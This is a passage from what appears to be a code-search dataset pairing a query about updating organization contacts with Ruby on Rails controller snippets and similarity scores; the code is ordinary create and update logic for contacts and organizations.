"def create(contact)\n validate_type!(contact)\n\n attributes = sanitize(contact)\n _, _, root = @client.post(\"/contacts\", attributes)\n\n Contact.new(root[:data])\n end", "def create\n \n @contact = @customer.contacts.build(params[:contact])\n\n respond_to do |format|\n if @contact.save\n flash[:notice] = _('Contact was successfully created.')\n format.html { redirect_to(customer_contact_url(:customer_id => @customer.id, :id => @contact.id)) }\n format.js { render :text => \"contact added\", :layout => false }\n format.xml { render :xml => @contact, :status => :created, :location => @contact }\n else\n format.html { render :action => \"new\", :layout => request.xhr? }\n format.xml { render :xml => @contact.errors, :status => :unprocessable_entity }\n end\n end\n\n end", "def create\n @contact_company = ContactCompany.new(contact_company_params)\n\n respond_to do |format|\n if @contact_company.save\n format.html { redirect_to @contact_company, notice: 'Contact company was successfully created.' }\n format.json { render action: 'show', status: :created, location: @contact_company }\n else\n format.html { render action: 'new' }\n format.json { render json: @contact_company.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_contact(params={})\n @obj.put('add-contact', @auth.merge(params))\n end", "def contact_params\n params.require(:contact).permit(*Membership::ROLES, :first_name, :company, :last_name, :email, :phone, :account_id, :user_id, :owner_id, list_ids: [])\n end", "def create\n @organization = Spree::Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Spree::Organization was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def CreateOrganization params = {}\n \n APICall(path: 'organizations.json',method: 'POST',payload: params.to_json)\n \n end", "def contact_params\n params.require(:contact).permit(:first_name, :last_name, :company, :data)\n end", "def contacts\r\n\r\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(params[:contact])\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render json: @contact, status: :created, location: @contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def call\n begin\n context[:organization_addresses].each do |address|\n address = context.organization.organization_addresses.new(\n city: address[:city],\n street: address[:street],\n house_number: address[:house_number],\n phone: address[:phone])\n address.save\n end\n rescue => e\n context.fail!(message: e)\n end\n end", "def post(organization_form)\n HttpClient::Preconditions.assert_class('organization_form', organization_form, Apidoc::Models::OrganizationForm)\n @client.request(\"/organizations\").with_json(organization_form.to_json).post { |hash| Apidoc::Models::Organization.new(hash) }\n end", "def contact_params\n params.fetch(:contact, {}).permit(\n :organization_id,\n :first_name,\n :last_name,\n :email,\n :phone,\n :address,\n :city,\n :region,\n :country,\n :postal_code,\n )\n end", "def create\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save\n format.html { redirect_to organization_path(@organization), notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @customer_contact = CustomerContact.new(customer_contact_params)\n\n respond_to do |format|\n if @customer_contact.save\n format.html { redirect_to @customer_contact, notice: 'Customer contact was successfully created.' }\n format.json { render :show, status: :created, location: @customer_contact }\n else\n format.html { render :new }\n format.json { render json: @customer_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @organization = Organization.new(organization_params)\n\n if @organization.save\n render :show, status: :created, location: @organization\n else\n render json: @organization.errors, status: :unprocessable_entity\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render action: 'show', status: :created, location: @contact }\n else\n format.html { render action: 'new' }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @library_contact = @library_location.library_contacts.new(params[:library_contact])\n\n respond_to do |format|\n if @library_contact.save\n format.html { redirect_to center_library_location_path(@center, @library_location), :flash => { success: 'Library contact was successfully created.' }}\n format.json { render json: @library_contact, status: :created, location: center_library_location_path(@center, @library_location) }\n else\n format.html { render action: \"new\" }\n format.json { render json: @library_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = @current_affiliate_group.contacts.build(params[:contact])\n @contact.issue_status = IssueStatus[:New]\n\n respond_to do |format|\n if @contact.save\n flash[:notice] = 'Your message was successfully sent.'\n format.html { redirect_to(home_path) }\n format.xml { render :xml => @contact, :status => :created, :location => @contact }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def contact_params\n params.require(:contact).permit(:company, :first_name, :last_name, :email, :owner_id, :address_id)\n end", "def post_contacts(contacts, opts = {})\n data, _status_code, _headers = post_contacts_with_http_info(contacts, opts)\n data\n end", "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @organization = Organization.new(organization_params)\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n @contacts = Contact.where(active_status: true, del_status: false).order('first_name ASC')\n @regions = Region.where(active_status: true, del_status: false)\n respond_to do |format|\n if @contact.save\n flash.now[:notice] = \"#{@contact.get_full_name} added successfully\"\n format.js\n else\n # flash.now[:alert] = \"Error adding contact\"\n logger.info \"Error Messages :: #{@contact.errors.messages.inspect}\"\n format.js { render :new }\n end\n end\n end", "def create\n if get_case\n @contact = @case.contacts.create(contact_params)\n path_contacts = case_contacts_path\n else\n @contact = Contact.new(contact_params)\n path_contacts = contacts_path\n end\n\n # TODO: render partials per each type\n\n @contact.user = @user\n @contact.firm = @firm\n\n if @contact.type != 'Attorney'\n @contact.attorney_type = ''\n end\n\n #@case.contacts << @contact\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to path_contacts, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, contact: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @applicant_emergency_contact = current_applicant.applicant_emergency_contacts.build(applicant_emergency_contact_params)\n\n respond_to do |format|\n if @applicant_emergency_contact.save\n format.html { redirect_to applicant_emergency_contacts_url, notice: 'Applicant emergency contact was successfully created.' }\n format.json { render :show, status: :created, location: @applicant_emergency_contact }\n else\n format.html { render :new }\n format.json { render json: @applicant_emergency_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @person = Person.new(person_params)\n # @person.addresses.build()\n respond_to do |format|\n if @person.save\n # @person.addresses.create\n # @person.companies.create\n\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n @addresses = @person.addresses\n @page_title = 'Add a new person'\n addresses = @person.addresses.build\n companies = @person.companies.build\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact_group = ContactGroup.new(params[:contact_group])\n contacts = params[:contacts]\n respond_to do |format|\n if @contact_group.save\n \tunless contacts.blank?\n contacts.each do |contact|\n @contact_group.contact_lists << ContactList.find(contact)\n end\n end\n flash[:notice] = \"#{@contact_group.name} was successfully created.\"\n format.html { redirect_to(admin_contact_groups_url) }\n format.xml { render :xml => @contact_group, :status => :created, :location => @contact_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contact_group.errors, :status => :unprocessable_entity }\n end\n end\n \n end", "def create\n @contact = Contact.new(contact_params)\n @contact.user_id = current_user.id\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to contacts_path, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @organization_contact = OrganizationContact.find(params[:id])\n org_id = Organization.find_by_company_name(params[:organization_contact][:organization_id]).id\n respond_to do |format|\n params[:organization_contact][:organization_id] = org_id\n if @organization_contact.update_attributes(params[:organization_contact])\n format.html { redirect_to organization_contacts_path(:org_id => org_id), notice: 'Organization contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @organization_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact_group = Admin::ContactGroup.new(contact_group_params)\n\n if @contact_group.save\n render json: @contact_group, status: :created\n else\n render json: @contact_group.errors, status: :unprocessable_entity\n end\n end", "def contact_person_params\n params.require(:contact_person).permit(:name, :phone, :organization_id, :site_id)\n end", "def create\n @contact = Contact.new(contact_params)\n custom_field_values = create_custom_field_values\n @contact.custom_field_values = custom_field_values\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n @contact.custom_field_values.destroy_all\n format.html { render :new, custom_fields: custom_field_values }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(params[:contact])\n\n respond_to do |format|\n if @contact.save\n UserMailer.fale_conosco_enviado(@contact).deliver\n format.html { redirect_to action: \"index\", notice: 'sucess' }\n format.json { render json: @contact, status: :created, location: @contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contact = Contact.new(contact_params)\n\n if @contact.save\n fresh_when(@contact)\n render json: @contact, status: :created, location: @contact\n else\n render json: { errors: @contact.errors.messages }, status: :unprocessable_entity\n end\n end", "def create\n @contact = Contact.new(contact_params)\n respond_to do |format|\n if @contact.save\n update_contact_category\n format.html { redirect_to contacts_url, notice: 'Contact was created.' }\n format.json { render :index, status: :created }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def parse_contacts\n case params[:importer]\n when GMAIL, YAHOO, HOTMAIL\n request.env['omnicontacts.contacts'].map { |c| [c[:email], c[:email]] }.to_json\n when LINKEDIN then fetch_linkedin_contacts\n end\n end", "def create\n @person_contact = PersonContact.new(params[:person_contact])\n\n respond_to do |format|\n if @person_contact.save\n format.html { redirect_to(@person_contact, :notice => 'Person contact was successfully created.') }\n format.xml { render :xml => @person_contact, :status => :created, :location => @person_contact }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @person_contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user_contact = UserContact.new(user_contact_params)\n\n respond_to do |format|\n if @user_contact.save\n format.html { redirect_to @user_contact, notice: 'User contact was successfully created.' }\n format.json { render :show, status: :created, location: @user_contact }\n else\n format.html { render :new }\n format.json { render json: @user_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n Rails.logger.info \"Completed in #{contact_params}\"\n @contact = Contact.new(contact_params)\n @contact.user_id = current_user.id\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to admin_organizations_path, notice: \"Organization #{@organization.name} was successfully created.\" }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.70148814", "0.6978043", "0.68544346", "0.68139714", "0.6790472", "0.6746869", "0.6730257", "0.67105407", "0.6706745", "0.6636133", "0.6622512", "0.661313", "0.657801", "0.6544441", "0.65436363", "0.6539426", "0.65168494", "0.6427256", "0.64032644", "0.6387553", "0.63725895", "0.6350088", "0.63493717", "0.6346746", "0.63344526", "0.63117826", "0.63021183", "0.6299177", "0.6298656", "0.6297752", "0.6295499", "0.62844497", "0.6266193", "0.62280357", "0.6219246", "0.62104136", "0.62046343", "0.6181377", "0.61799365", "0.61758536", "0.61713564", "0.6166768", "0.61656535", "0.6156336", "0.6144522", "0.6141448", "0.6136758", "0.6125049", "0.61169404", "0.61083984", "0.6108081", "0.6098985", "0.60967827", "0.6079682", "0.60668457", "0.60587335", "0.6053074", "0.60415876", "0.6030816", "0.6025856", "0.60250276", "0.60250276", "0.60250276", "0.60250276", "0.60250276", "0.60250276", "0.602476", "0.60110444", "0.60079014", "0.6007846", "0.60061544", "0.6005347", "0.6002239", "0.5989163", "0.59829664", "0.59820753", "0.5981506", "0.596866", "0.5967856", "0.5967856", "0.5967856", "0.5967856", "0.59677416", "0.5966209", "0.59499675", "0.5946045", "0.5944641", "0.59295744", "0.5929127", "0.5927018", "0.5916074", "0.5912966", "0.5912754", "0.59114593", "0.5910198", "0.59096396", "0.59038", "0.59036076", "0.59009105", "0.5899355" ]
0.7015095
0
PUT /organization_contacts/1 PUT /organization_contacts/1.json
def update @organization_contact = OrganizationContact.find(params[:id]) org_id = Organization.find_by_company_name(params[:organization_contact][:organization_id]).id respond_to do |format| params[:organization_contact][:organization_id] = org_id if @organization_contact.update_attributes(params[:organization_contact]) format.html { redirect_to organization_contacts_path(:org_id => org_id), notice: 'Organization contact was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @organization_contact.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_contacts(contacts)\n b = Builder::XmlMarkup.new\n request_xml = b.Contacts {\n contacts.each do | contact |\n contact.to_xml(b)\n end\n }\n\n response_xml = http_post(@client, \"#{@xero_url}/Contacts\", request_xml, {})\n\n response = parse_response(response_xml, {:request_xml => request_xml}, {:request_signature => 'POST/contacts'})\n response.contacts.each_with_index do | response_contact, index |\n contacts[index].contact_id = response_contact.contact_id if response_contact && response_contact.contact_id\n end\n response\n end", "def update_contact(companyId, id, model) path = \"/api/v2/companies/#{companyId}/contacts/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end", "def update_contacts(params)\n params[:types] = index_array(params[:types])\n\n params[:contact_set] = params.delete :contacts\n params[:key] = 'attributes'\n\n run_command :update_contacts, :domain, params\n end", "def update\n @contact.assign_attributes contacts_person_params\n\n company = Contacts::Company.new(contacts_company_params.merge(user: current_user)) if params[:contacts_company]\n @contact.company = company if @contact.company.nil? && !company.nil? && company.valid?\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to @contact, notice: t('controllers.contacts.people.update.success') }\n format.json { render :show, status: :ok, location: @contact }\n else\n format.html { render :edit }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact.update(contact_params)\n if @contact.valid?\n render json: @contact\n end\n end", "def update\n @organization_person = OrganizationPerson.find(params[:id])\n\n if @organization_person.update(organization_person_params)\n render json: @organization_person\n else\n render json: @organization_person.errors, status: :unprocessable_entity\n end\n end", "def create\n @organization_contact = OrganizationContact.new(params[:organization_contact])\n if params[:id][:org_id].empty?\n @organization_contact.organization_id = params[:organization_contact][:organization_id]\n else\n @organization_contact.organization_id = params[:id][:org_id]\n end \n\n respond_to do |format|\n if @organization_contact.save && params[:id][:org_id].present?\n format.html { redirect_to organization_contacts_path(:org_id => params[:id][:org_id]), notice: 'Organization contact was successfully created.' }\n format.json { render json: @organization_contact, status: :created, location: @customer_contact }\n elsif @organization_contact.save\n format.html { redirect_to organizations_path, notice: 'Organization contact was successfully created.' }\n format.json { render json: @organization_contact, status: :created, location: @customer_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = @business.contacts.find(params[:id])\n\n respond_to do |format|\n if @contact.update_attributes(contact_params || {})\n format.html { redirect_to business_contact_path(@business, @contact), notice: 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @organization = Organization.find(params[:id])\n @organization.update_attributes(params[:organization])\n respond_with @organization\n end", "def UpdateOrganization params = {}\n \n APICall(path: 'organizations.json',method: 'PUT',payload: params.to_json)\n \n end", "def update_contact_in_salesforce\n \tsf = Salesforce::API.connect_to_salesforce\n \tcontact_id = self.sf_contact_id\n \tsf.update(\n \"Contact\",\n Id: \"#{contact_id}\",\n Name: \"#{self.first_name}\",\n Email: \"#{self.email}\",\n )\n end", "def update\n @organization.update(organization_params)\n if @organization.save\n render json: { success: \"organization updated successfully\"}, status: :ok\n else\n render json: { errors: @orgnanization.errors.full_messages }, status: :unprocessable_entity\n end\n end", "def update\n @organization.update(organization_params)\n respond_with(@organization)\n end", "def update_contact(contact_name, project_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'PUT'\n\t\targs[:path]['ContactName'] = contact_name\n\t\targs[:path]['ProjectName'] = project_name\n\t\targs[:pattern] = '/projects/[ProjectName]/contacts/[ContactName]'\n\t\targs[:query]['Action'] = 'UpdateContact'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :contact\n\t\t\targs[:body]['Contact'] = optional[:contact]\n\t\tend\n\t\tself.run(args)\n\tend", "def update\n respond_to do |format|\n if @clients_organization.update(clients_organization_params)\n format.json { render :show, status: :ok, location: @clients_organization }\n else\n format.json { render json: @clients_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = CompanyContact.find(params[:id])\n if @contact.update_attributes(params[:company_contact])\n head :no_content\n else\n respond_with @contact, status: :unprocessable_entity\n end\n end", "def update\n @organization = Organization.find(params[:id])\n\n respond_to do |format|\n if @organization.update_attributes(params[:organization])\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = Contact.find(params[:id])\n @contact.person_id = nil if params[:contact][:person_name].present?\n respond_to do |format|\n if @contact.update_attributes(params[:contact].merge(:updated_by => current_user.id))\n format.html { redirect_to client_contacts_path(@firm), :notice => \"#{ Contact.model_name.human } успешно изменен.\"}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = Contact.find(params[:id])\n\n if @contact.update(contact_params)\n head :no_content\n else\n render json: @contact.errors, status: :unprocessable_entity\n end\n end", "def set_contact\n @category = \"Contact\"\n @contact = resource_owner.contacts.find(params[:id])\n end", "def update\n if @contact.update(contact_params)\n head :no_content\n else\n render json: @contact.errors, status: :unprocessable_entity\n end\n end", "def update\n if @organization.update(organization_params)\n render :show, status: :ok, location: @organization\n else\n render json: @organization.errors, status: :unprocessable_entity\n end\n end", "def update\n @contact = current_user.contacts.find(params[:id])\n @contact.update_attributes(params[:contact])\n end", "def update\n if !params.has_key?(:ur_contact) then\n head :internal_server_error\n return\n end\n\n #really update the contacts\n contact = UrContact.find(params[:id])\n\n #can't dlete contact you don't own\n if contact.user_id != current_user.id then\n Rails.logger.error \"Attempt to update contact you don't own\"\n head :internal_server_error\n return\n end\n\n if contact.update_attributes(contact_params) then\n render json: contact\n else\n head :internal_server_error\n end\n end", "def update\n @crm_contact = CrmContact.find(params[:id])\n\n respond_to do |format|\n if @crm_contact.update_attributes(params[:crm_contact])\n format.html { redirect_to @crm_contact, notice: 'Crm contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crm_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @contact.address.update(address_params)\n render json: @contact.address\n else\n render json: @contact.errors, status: :unprocessable_entity\n end\n end", "def update\n @organization = Organization.find(params[:id])\n unless params[:address].nil?\n if @organization.address\n @organization.address.update_attributes(params[:address])\n end\n end\n #if @address\n #updated_attributes = {name: org['name'], website: org['website'], org_type: org['org_type'], address_id: @address.id}\n #else\n #updated_attributes = {name: org['name'], website: org['website'], org_type: org['org_type'], address_id: nil}\n #end\n\n respond_to do |format|\n if @organization.update_attributes(params[:organization])# and @address.update_attributes(params[:address])\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @organization = Organization.find(params[:id])\n @organization.update_attributes(organization_params)\n \n respond_with(@organization, :location => admin_organizations_path)\n end", "def update\n respond_to do |format|\n if @casa_org.update(casa_org_params)\n format.html { redirect_to @casa_org, notice: 'CASA org was successfully updated.' }\n format.json { render :show, status: :ok, location: @casa_org }\n else\n format.html { render :edit }\n format.json { render json: @casa_org.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = Contact.find(params[:id])\n\n # respond_to do |format|\n if @contact.update_attributes(params[:contact])\n # format.html { redirect_to(@contact, :notice => 'Contact was successfully updated.') }\n # format.xml { head :ok }\n render :json => { :success => true, :message => \"Created new client #{@contact.id}\", :contact => @contact }\n else\n render :json => { :success => false, :message => \"Failed to create contact\"}\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @contact.errors, :status => :unprocessable_entity }\n end\n # end\n end", "def update\n @external_organization = ExternalOrganization.find(params[:id])\n\n respond_to do |format|\n if @external_organization.update_attributes(params[:external_organization])\n format.html { redirect_to @external_organization, notice: 'External organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @external_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @contact.update(contact_params)\n fresh_when(@contact)\n render json: @contact, status: :ok, location: @contact\n else\n render json: { errors: @contact.errors.messages }, status: :unprocessable_entity\n end\n end", "def update\n if @organization.update(organization_params)\n render :show, status: :ok, location: @organization\n else\n render json: @organization.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @people_organization.update(people_organization_params)\n format.html { redirect_to @people_organization, notice: 'People organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_organization }\n else\n format.html { render :edit }\n format.json { render json: @people_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_contact\n @contact = Contact.find(params[:id])\n @contact.update(params[:contact])\n redirect \"/contacts/#{@contact.id}\"\nend", "def update\n @organization = Organization.find(params[:id])\n\n respond_to do |format|\n if @organization.update_attributes(params[:organization])\n format.html { redirect_to admin_organizations_path, notice: \"Organization #{@organization.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subcontractor_contact.update(subcontractor_contact_params)\n format.html { redirect_to @subcontractor_contact, notice: 'Subcontractor contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @subcontractor_contact }\n else\n format.html { render :edit }\n format.json { render json: @subcontractor_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def modify_existing_contact\n self.to_contact.modify_existing_contact.to_contact\n end", "def update\n\t\trespond_to do |format|\n\t\t\tif @organization.update_attributes(params[:organization])\n\t\t\t\tformat.html { redirect_to(@organization, :notice => 'Organization was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @employee_contact.update(employee_contact_params)\n format.html { redirect_to @employee_contact, notice: 'Employee contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_contact }\n else\n format.html { render :edit }\n format.json { render json: @employee_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to edit_admin_organization_path(@organization), notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"#{@organization.errors.full_messages.first}\"\n format.html { redirect_to edit_admin_organization_path(@organization) }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contact = @current_affiliate_group.contacts.find(params[:id])\n\n respond_to do |format|\n if @contact.update_attributes(params[:contact])\n flash[:notice] = 'Contact was successfully updated.'\n format.html { redirect_to(@contact) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @customer = Customer.find(params[:customer_id])\n @cust_contact = @customer.cust_contacts.find(params[:id])\n\n respond_to do |format|\n if @cust_contact.update_attributes(params[:cust_contact])\n format.html { redirect_to customer_path(@customer), :notice => 'Contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cust_contact.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_contact.update(admin_contact_params)\n format.html { redirect_to admin_contacts_path, notice: mk_notice(@admin_contact, :id, 'Contact', :update) }\n format.json { render json: @admin_contact, status: :ok, location: admin_contacts_path }\n else\n format.html { render :edit }\n format.json { render json: @admin_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @crm_contact_info = CrmContactInfo.find(params[:id])\n\n respond_to do |format|\n if @crm_contact_info.update_attributes(params[:crm_contact_info])\n format.html { redirect_to @crm_contact_info, notice: 'Crm contact info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crm_contact_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @organization.update(organization_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { render :show, status: :ok, location: @organization }\n else\n format.html { render :edit }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if 